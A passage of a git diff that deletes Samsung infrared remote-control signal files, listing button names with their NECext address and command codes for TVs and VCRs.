b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_00198f/7,7.ir deleted file mode 100644 index aae50b467..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_00198f/7,7.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 01 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 02 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 03 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 06 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 07 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 08 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 09 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0A 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0B 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0C 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0D 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0E 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0F 00 00 00 -# -name: cp- -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 10 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 11 00 00 00 -# -name: cp+ -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 12 00 00 00 -# -name: pstd -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 16 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 1A 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 1B 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 1F 00 00 00 -# -name: KEY_0+ -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 23 00 00 00 -# -name: psize -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 3E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_00225A/7,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_00225A/7,7.ir deleted file mode 100644 index 7a169502a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_00225A/7,7.ir +++ /dev/null @@ -1,176 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TV/VIDEO -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 01 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 02 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 06 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 07 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 08 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 09 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0A 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0B 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0C 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0D 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0E 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0F 00 00 00 -# -name: -CH -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 10 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 11 00 00 00 -# -name: +CH -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 12 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 14 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 15 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 16 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 1A 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 1F 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 21 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 23 00 00 00 -# -name: P.STD -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 28 00 00 00 -# -name: S.STD -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 2B 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 2C 00 00 00 -# -name: STILL -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 66 00 00 00 -# -name: KEY_PC -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 69 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_01043A/102,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_01043A/102,0.ir deleted file mode 100644 index 89c523d4d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_01043A/102,0.ir +++ /dev/null @@ -1,74 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: display -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 8F 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 91 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 94 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 97 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 98 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 99 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 9A 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 9B 00 00 00 -# -name: skip_back -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 9F 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 66 00 00 00 -command: A0 00 00 00 -# -name: skip_forward -type: parsed -protocol: NECext -address: 66 00 00 00 -command: A1 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 66 00 00 00 -command: A2 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_10107N/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_10107N/0,-1.ir deleted file mode 100644 index 1e9c87fa5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_10107N/0,-1.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: P.STD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: Display -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: P.Size -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 26 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3F 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 50 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 51 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 52 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 55 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 56 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_10116A/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_10116A/0,-1.ir deleted file mode 100644 index ebede3b05..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_10116A/0,-1.ir +++ /dev/null @@ -1,74 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: S.MODE-II -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 23 00 00 00 -# -name: VIDEO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: TTX/MIX -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: CH/P+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 51 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_10420A/5,5.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_10420A/5,5.ir deleted file mode 100644 index e492f6602..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_10420A/5,5.ir +++ /dev/null @@ -1,110 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 02 00 00 00 -# -name: SLOW-PLUS -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 13 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 14 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 15 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 15 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 16 00 00 00 -# -name: SLOW-MINUS -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 17 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 18 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 18 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 19 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 19 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 1A 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 1A 00 00 00 -# -name: CNT.RESET -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 1D 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 1E 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 1F 00 00 00 -# -name: TRK-UP -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 2C 00 00 00 -# -name: TRK-DOWN -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 2D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_528Z/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_528Z/2,-1.ir deleted file mode 100644 index 76bc8d3f9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_528Z/2,-1.ir +++ /dev/null @@ -1,140 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: c/p+ -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 01 00 00 00 -# -name: c/p- -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 02 00 00 00 -# -name: vol+ -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 03 00 00 00 -# -name: vol- -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 04 00 00 00 -# -name: contrast- -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 05 00 00 00 -# -name: contrast+ -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 06 00 00 00 -# -name: color- -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 07 00 00 00 -# -name: color+ -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 08 00 00 00 -# -name: mute -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 09 00 00 00 -# -name: tv/video -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0D 00 00 00 -# -name: standby -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0E 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 10 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 11 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 12 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 13 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 14 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 15 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 16 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 17 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 18 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 19 00 00 00 -# -name: 1- -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1A 00 00 00 -# -name: 2- -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA59-00316b/7,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA59-00316b/7,7.ir deleted file mode 100644 index b5a94e4d1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA59-00316b/7,7.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: mts -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 00 00 00 00 -# -name: tv/video -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 01 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 02 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 03 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 06 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 07 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 08 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 09 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0A 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0B 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0C 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0D 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0E 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0F 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 10 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 12 00 00 00 -# -name: pre-ch -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 13 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 1A 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 1F 00 00 00 -# -name: +100 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 23 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 2D 00 00 00 -# -name: h.scan -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 31 00 00 00 -# -name: r.surf -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 3D 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 60 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 61 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 62 00 00 00 -# -name: turbo -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 64 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 65 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 68 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA59-00332D/7,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA59-00332D/7,7.ir deleted file mode 100644 index e24c11a57..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA59-00332D/7,7.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 01 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 02 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 03 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 06 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 07 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 08 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 09 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0A 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0B 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0C 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0D 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0D 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0E 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0F 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 10 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 12 00 00 00 -# -name: pre-ch -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 13 00 00 00 -# -name: p.mode -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 16 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 1A 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 1B 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 1F 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 2D 00 00 00 -# -name: p.size -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 3E 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 60 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 61 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 62 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 65 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 68 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA59-00370A/7,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA59-00370A/7,7.ir deleted file mode 100644 index c19b20ff4..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA59-00370A/7,7.ir +++ /dev/null @@ -1,236 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: dual_I-II -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 00 00 00 00 -# -name: source-wh -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 01 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 02 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 03 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 06 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 07 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 08 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 09 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0A 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0B 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0C 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0D 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0E 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0F 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 10 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 12 00 00 00 -# -name: pre-ch -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 13 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 14 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 15 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 16 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 1A 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 1F 00 00 00 -# -name: pip -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 20 00 00 00 -# -name: swap -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 21 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 23 00 00 00 -# -name: source-gr -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 24 00 00 00 -# -name: ttx/mix -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 2C 00 00 00 -# -name: exit/tv -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 2D 00 00 00 -# -name: p.size -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 3E 00 00 00 -# -name: still -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 42 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 60 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 61 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 62 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 65 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 68 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 6C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA59-00382A/7,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA59-00382A/7,7.ir deleted file mode 100644 index 231cdc303..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA59-00382A/7,7.ir +++ /dev/null @@ -1,272 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: dual -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 00 00 00 00 -# -name: KEY_CYCLEWINDOWS -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 01 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 02 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 03 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 06 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 07 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 07 07 00 00 